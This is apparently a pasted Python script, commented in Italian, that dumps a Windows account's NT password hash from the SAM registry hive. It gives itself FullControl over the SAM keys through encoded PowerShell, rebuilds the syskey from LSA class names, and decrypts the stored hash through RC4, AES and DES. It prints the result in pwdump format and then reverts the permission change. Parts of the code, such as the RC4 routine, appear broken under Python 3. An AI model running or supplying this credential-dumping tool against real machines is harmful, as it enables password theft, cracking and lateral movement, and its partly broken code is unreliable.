· 5 years ago · Sep 30, 2020, 02:50 PM
1import base64
2import binascii
3import hashlib
4import os
5
6# Cosa serve per far funzionare questo script?
7# Aprire la Powershell come amministratore
8# RID dell'utente
9
10# Per estrarre il RID utente usiamo: il comando:
11# wmic useraccount where name='Administrator' get sid
12# dove al posto che Administrator inseriamo il nome dell'account di cui necessitiamo trovare il RID
13# Per l'account Administrator il RID è 500 o in esadecimale 0x1F4
14# copiamo qui sotto il valore esadecimale
15RID = 1001
16
17os.system('cls' if os.name == 'nt' else 'clear')
18
19
20def getRegistryValues(hex_rid):
21 from subprocess import Popen, PIPE
22 from ctypes import c_uint, c_char_p, byref, windll
23
24 def RegOpenKeyEx(subkey):
25 hkey = c_uint(0) # Inizializzazione ad un intero
26 windll.advapi32.RegOpenKeyExA(0x80000002,
27 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\'.encode('ascii') + subkey.encode(
28 'ascii'), 0, 0x19, byref(hkey))
29 return hkey.value
30
31 def RegQueryInfoKey(hkey):
32 classname = c_char_p(b'aabbccdd') # Inizializzazione a 4 byte
33 windll.advapi32.RegQueryInfoKeyA(hkey, classname, byref(c_uint(1024)), None, None, None, None, None, None, None,
34 None, 0)
35 return classname.value
36
37 def RegCloseKey(subkey):
38 windll.advapi32.RegCloseKey(subkey)
39 return
40
41 def getRegClass(subkey):
42 hKey = RegOpenKeyEx(subkey) # Apertura della chiave di Registro e ottengo handle
43 value = RegQueryInfoKey(hKey) # Lettura di "Class Name"
44 RegCloseKey(hKey) # Chiusura chiave
45 return value
46
47 print('##### ~~ Aspetta, il recupero dei dati del registro potrebbe richiedere alcuni secondi ~~ #####')
48 # Aggiungo i permessi per SAMDump
49 add_permissions = r'''$rule = New-Object System.Security.AccessControl.RegistryAccessRule (
50 [System.Security.Principal.WindowsIdentity]::GetCurrent().Name,
51 "FullControl",
52 [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit",
53 [System.Security.AccessControl.PropagationFlags]"None",
54 [System.Security.AccessControl.AccessControlType]"Allow")
55 $key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
56 "SAM\SAM\Domains",
57 [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
58 [System.Security.AccessControl.RegistryRights]::ChangePermissions)
59 $acl = $key.GetAccessControl()
60 $acl.SetAccessRule($rule)
61 $key.SetAccessControl($acl)'''
62 os.system('powershell -enc ' + base64.b64encode(add_permissions.encode('utf_16_le')).decode('utf-8'))
63
64 # Ottengo l'hash dal registro
65 proc = Popen(fr'reg query hklm\sam\sam\domains\account\users\{hex_rid} /v V', shell=True, stdout=PIPE)
66 try:
67 HexRegHash = str(proc.stdout.readlines()[2]).replace(' ', '').split('REG_BINARY')[1].replace('\\r\\n\'', '')
68 proc = Popen(r'reg query "hklm\SAM\SAM\Domains\Account" /v F | find "BINARY"', shell=True, stdout=PIPE)
69 HexRegSysk = str(proc.stdout.readlines()[0]).replace(' ', '').split('REG_BINARY')[1].replace('\\r\\n\'', '')
70
71 # Aggiusto permessi per SAMDump
72 fixpermissions = '''$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey("SAM\SAM\Domains",[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,[System.Security.AccessControl.RegistryRights]::ChangePermissions);
73 $acl = $key.GetAccessControl();
74 $user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name;
75 $acl.Access | where {$_.IdentityReference.Value -eq $user} | %{$acl.RemoveAccessRule($_)} | Out-Null; Set-Acl HKLM:\SAM\SAM\Domains $acl'''
76 os.system(
77 'powershell -enc ' + str(base64.b64encode(fixpermissions.encode('utf_16_le'))).replace('b\'', '').replace(
78 '\'',
79 ''))
80
81 # Uso le Windows API per ottenere i valori "Class Name" di JD, Skew1, GBG e Data
82 jd = str(getRegClass('JD')).replace('b\'', '').replace('\'', '')
83 print(jd)
84 skew1 = str(getRegClass('Skew1')).replace('b\'', '').replace('\'', '')
85 gbg = str(getRegClass('GBG')).replace('b\'', '').replace('\'', '')
86 data = str(getRegClass('Data')).replace('b\'', '').replace('\'', '')
87 return str(HexRegHash.strip()), str(HexRegSysk.strip()), jd, skew1, gbg, data
88 except:
89 print('Errore:Lo script deve essere avviato come amministratore!')
90 input('Premi invio per uscire')
91 exit()
92
93
94# Dati e key sono stringhe esadecimali ('ABCDEFGH')
95def decryptRC4(data, key):
96 data = binascii.unhexlify(data)
97 key = binascii.unhexlify(key)
98 S = range(256)
99 j = 0
100 for i in range(256):
101 j = (j + S[i] + ord(key[i % len(key)])) % 256
102 S[i], S[j] = S[j], S[i]
103 i = 0
104 j = 0
105 risultato = ''
106 for char in data:
107 i = (i + 1) % 256
108 j = (j + S[i]) % 256
109 S[i], S[j] = S[j], S[i]
110 risultato += chr(ord(char) ^ S[(S[i] + S[j]) % 256])
111 return binascii.hexlify(risultato)
112
113
114# Dati e key sono stringhe esadecimali ('ABCDEFGH')
115def decryptAES(data, key, salt):
116 try:
117 from Crypto.Cipher import AES
118 data = binascii.unhexlify(data)
119 key = binascii.unhexlify(key)
120 salt = binascii.unhexlify(salt)
121 cipher = AES.new(key, AES.MODE_CBC, salt)
122 return binascii.hexlify(cipher.decrypt(data))
123 except:
124 print('Error: Crypto non trovato, perfavore esegui "pip install pycryptodome" come amministratore')
125 input('Premi Invio per uscire')
126 exit()
127
128
129# Dati e key sono stringhe esadecimali ('ABCDEFGH')
130def decryptDES(data, key):
131 try:
132 from Crypto.Cipher import DES
133 data = binascii.unhexlify(data)
134 key = binascii.unhexlify(key)
135 cipher = DES.new(key, DES.MODE_ECB)
136 return binascii.hexlify(cipher.decrypt(data))
137 except:
138 print('Error: Crypto non trovato, perfavore esegui "pip install pycryptodome" come amministratore')
139 input('Premi Invio per uscire')
140 exit()
141
142
143# Calcolo bit di parita'
144def str_to_key(dessrc):
145 bkey = binascii.unhexlify(dessrc)
146 keyarr = []
147 for i in range(0, len(bkey)): keyarr.append(int(hex(bkey[i]), 16))
148 bytearr = [keyarr[0] >> 1, ((keyarr[0] & 0x01) << 6) | keyarr[1] >> 2, ((keyarr[1] & 0x03) << 5) | keyarr[2] >> 3,
149 ((keyarr[2] & 0x07) << 4) | keyarr[3] >> 4, ((keyarr[3] & 0x0F) << 3) | keyarr[4] >> 5,
150 ((keyarr[4] & 0x1F) << 2) | keyarr[5] >> 6, ((keyarr[5] & 0x3F) << 1) | keyarr[6] >> 7, keyarr[6] & 0x7F]
151 result = ''
152 for b in bytearr:
153 bit = bin(b * 2)[2:].zfill(8)
154 if bit.count('1') % 2 == 0: # Stessa parità quindi è necessario l'RMB bitflip
155 result += hex((b * 2) ^ 1)[2:].zfill(2)
156 else:
157 result += hex(b * 2)[2:].zfill(2)
158 return result
159
160
161##############################################################################################################
162HexRID = hex(RID)[2:].zfill(8) # 500 diventa '000001f4'
163HexRegHash, HexRegSysk, jd, skew1, gbg, data = getRegistryValues(
164 HexRID) # mi trovo tutti i dati necessari nella macchina
165##############################################################################################################
166
167# qua si estrae il nome utente
168RegHash = binascii.unhexlify(HexRegHash.replace('\\r\\n\'', ''))
169UsernameOffset = int(binascii.hexlify(bytes([RegHash[0xc]])), 16) + 0xcc
170UsernameLength = int(binascii.hexlify(bytes([RegHash[0xc + 4]])), 16)
171Username = RegHash[UsernameOffset:UsernameOffset + UsernameLength].decode('utf-8').replace('\x00', '')
172print('Username (offset 0xc): ' + Username + "\n")
173
174print('########~~~~~~ STEP1, estrazione del double encrypted NTLM Hash ~~~~~~########')
175Offset = HexRegHash[0xA8 * 2:(0xA8 + 4) * 2] # l'offset è tipo 'a0010000'
176HexOffset = "0x" + "".join(map(str.__add__, Offset[-2::-2], Offset[-1::-2])) ## l'offset è tipo '0x1a0'
177NTOffset = int(HexOffset, 16) + int("0xcc", 16) # l'offset è tipo 0x1a0+0xcc=0x26c
178Length = HexRegHash[0xAC * 2:(0xAC + 4) * 2] # la lunghezza è tipo '14000000'
179HexLength = "0x" + "".join(map(str.__add__, Length[-2::-2], Length[-1::-2])) ## la lunghezza è tipo '0x14'
180Length = int(HexLength, 16) # lunghezza tipo 0x14 (versione prima 1607) o 0x38 (dalla versione 1607)
181print('L\'Offset è ' + hex(NTOffset) + ' ed è lungo ' + hex(Length))
182
183# QUESTO PASSAGGIO SUCCESSIVO VIENE MANTENUTO SOLO SE SI USA RC4, MENTRE DENTRO ALL'IF CI SONO LE CONDIZIONI PER AES
184# oppure se non si usa la password o un altro metodo di crittografia.
185Hash = HexRegHash[(NTOffset + 4) * 2: (NTOffset + 4 + Length) * 2][:32] ## Necessari solo di 16 bytes
186if hex(Length) == '0x38':
187 print('Trovato Nuovo stile di Hash (AES), è necessario IV')
188 Hash = HexRegHash[(NTOffset + 24) * 2: (NTOffset + 24 + Length) * 2][:32] ## Necessari solo di 16 bytes
189 IV = HexRegHash[(NTOffset + 8) * 2:(NTOffset + 24) * 2] ## IV necessario per decrittografia con AES
190 print('NT IV: ' + IV)
191elif not hex(Length) == '0x14':
192 print('Errore: La lunghezza non è 0x14, l\'utente probabilmente non ha la password?')
193 input('Premi Invio per uscire')
194 exit()
195print('Il double encrypted Hash dovrebbe essere: ' + Hash + "\n") # D4442D6644EDAE736D4F3DFB8FF04F0F
196
197print('########~~~~~~ STEP2, Combinazione della SysKey ~~~~~~########')
198Scrambled = jd + skew1 + gbg + data
199Syskey = Scrambled[8 * 2:8 * 2 + 2] + Scrambled[5 * 2:5 * 2 + 2] + Scrambled[4 * 2:4 * 2 + 2] + Scrambled[
200 2 * 2:2 * 2 + 2]
201Syskey += Scrambled[11 * 2:11 * 2 + 2] + Scrambled[9 * 2:9 * 2 + 2] + Scrambled[13 * 2:13 * 2 + 2] + Scrambled[
202 3 * 2:3 * 2 + 2]
203Syskey += Scrambled[0 * 2:0 * 2 + 2] + Scrambled[6 * 2:6 * 2 + 2] + Scrambled[1 * 2:1 * 2 + 2] + Scrambled[
204 12 * 2:12 * 2 + 2]
205Syskey += Scrambled[14 * 2:14 * 2 + 2] + Scrambled[10 * 2:10 * 2 + 2] + Scrambled[15 * 2:15 * 2 + 2] + Scrambled[
206 7 * 2:7 * 2 + 2]
207print("La tua Syskey dovrebbe essere: " + str(Syskey) + "\n") # 5a6c489141f82ca35d05593fce33b996
208
209print('########~~~~~~ STEP3, Uso della Syskey con RC4/AES per decifrare la SAMkey ~~~~~~########')
210hBootVersion = int(HexRegSysk[0x00:(0x00 + 1) * 2], 16) # Il primo byte contiene al verisone
211if hBootVersion == 3: # cifrato con AES!
212 print('Trovato Nuovo stile di Hash (AES), è necessario IV')
213 hBootIV = HexRegSysk[0x78 * 2:(0x78 + 16) * 2] # 16 Bytes dell'IV
214 encSysk = HexRegSysk[0x88 * 2:(0x88 + 32) * 2][:32] # Necessari solo di 16 bytes
215 SAMkey = decryptAES(encSysk, Syskey, hBootIV)
216else:
217 Part = binascii.unhexlify(HexRegSysk[0x70 * 2:(0x70 + 16) * 2])
218 Qwerty = '!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%' + "\x00"
219 Syskey = binascii.unhexlify(Syskey)
220 Digits = '0123456789012345678901234567890123456789' + "\x00"
221 RC4Key = binascii.hexlify(hashlib.md5(Part + Qwerty + Syskey + Digits).digest())
222 encSysk = HexRegSysk[0x80 * 2:(0x80 + 32) * 2][:32] ## Necessari solo di 16 bytes
223 SAMkey = decryptRC4(encSysk, RC4Key)
224print('La tua SAMKey dovrebbe essere: ' + SAMkey.decode('utf-8') + "\n")
225
226print('########~~~~~~ STEP4, Uso di SAMkey con RC4/AES per decriptare l\'Hash ~~~~~~########')
227HexRID = hex(RID)[2:].zfill(8) # 500 diventa '000001f4'
228HexRID = binascii.unhexlify("".join(map(str.__add__, HexRID[-2::-2], HexRID[-1::-2]))) ## '000001f4' diventa 'f4010000'
229if hex(Length) == '0x14': # Hash Criptato con RC4
230 NTPASSWORD = 'NTPASSWORD' + "\x00"
231 SAMKEY = binascii.unhexlify(SAMkey)
232 HashRC4Key = binascii.hexlify(hashlib.md5(SAMKEY + HexRID + NTPASSWORD).digest())
233 EncryptedHash = decryptRC4(Hash,
234 HashRC4Key) # Hash dallo step 1, RC4Key dallo step 3 (76f1327b198c0731ae2611dab42716ea)
235if hex(Length) == '0x38': # Hash criptato con AES
236 EncryptedHash = decryptAES(Hash, SAMkey, IV) # 494e7ccb2dad245ec2094db427a37ebf6731aed779271e6923cb91a7f6560b0d
237print('Il tuo Hash criptato (Risultato di DES) dovrebbe essere: ' + EncryptedHash.decode(
238 'utf-8') + "\n") # a291d14b768a6ac455a0ab9d376d8551
239
240print('########~~~~~~ STEP5, Uso di DES derivato dal RID per decriptare totalmente l\'Hash ~~~~~~########')
241DES_SOURCE1 = str(hex(HexRID[0])).replace('0x', '').zfill(2) + str(hex(HexRID[1])).replace('0x', '').zfill(2) + str(
242 hex(HexRID[2])).replace('0x', '').zfill(2) + str(hex(HexRID[3])).replace('0x', '').zfill(2) + str(
243 hex(HexRID[0])).replace('0x', '').zfill(2) + str(hex(HexRID[1])).replace('0x', '').zfill(2) + str(
244 hex(HexRID[2])).replace('0x', '').zfill(2) ##f4010000 becomes f4010000f40100
245DES_SOURCE2 = str(hex(HexRID[3])).replace('0x', '').zfill(2) + str(hex(HexRID[0])).replace('0x', '').zfill(2) + str(
246 hex(HexRID[1])).replace('0x', '').zfill(2) + str(hex(HexRID[2])).replace('0x', '').zfill(2) + str(
247 hex(HexRID[3])).replace('0x', '').zfill(2) + str(hex(HexRID[0])).replace('0x', '').zfill(2) + str(
248 hex(HexRID[1])).replace('0x', '').zfill(2)
249# Ora i DESSOURCE1 e 2 qui sopra, sono convertiti da 7 byte a 8 byte (usando i bit di parità dispari):
250DES_KEY1 = str_to_key(DES_SOURCE1)
251DES_KEY2 = str_to_key(DES_SOURCE2)
252print('K1', DES_KEY1)
253print('K2', DES_KEY2)
254DecryptedHash = decryptDES(EncryptedHash[:16], DES_KEY1) + decryptDES(EncryptedHash[16:], DES_KEY2)
255print('\n########~~~~~~FINALE~~~~~~########')
256print('Il tuo NT-Hash dovrebbe essere: ' + DecryptedHash.decode(
257 'utf-8')) # 32ed87bdb5fdc5e9cba88547376818d4 che è '123456'
258print(str(RID) + ':aad3b435b51404eeaad3b435b51404ee:' + DecryptedHash.decode('utf-8') + "\n")
259input('E\' stato fatto tutto. Premi invio per chiudere il tool')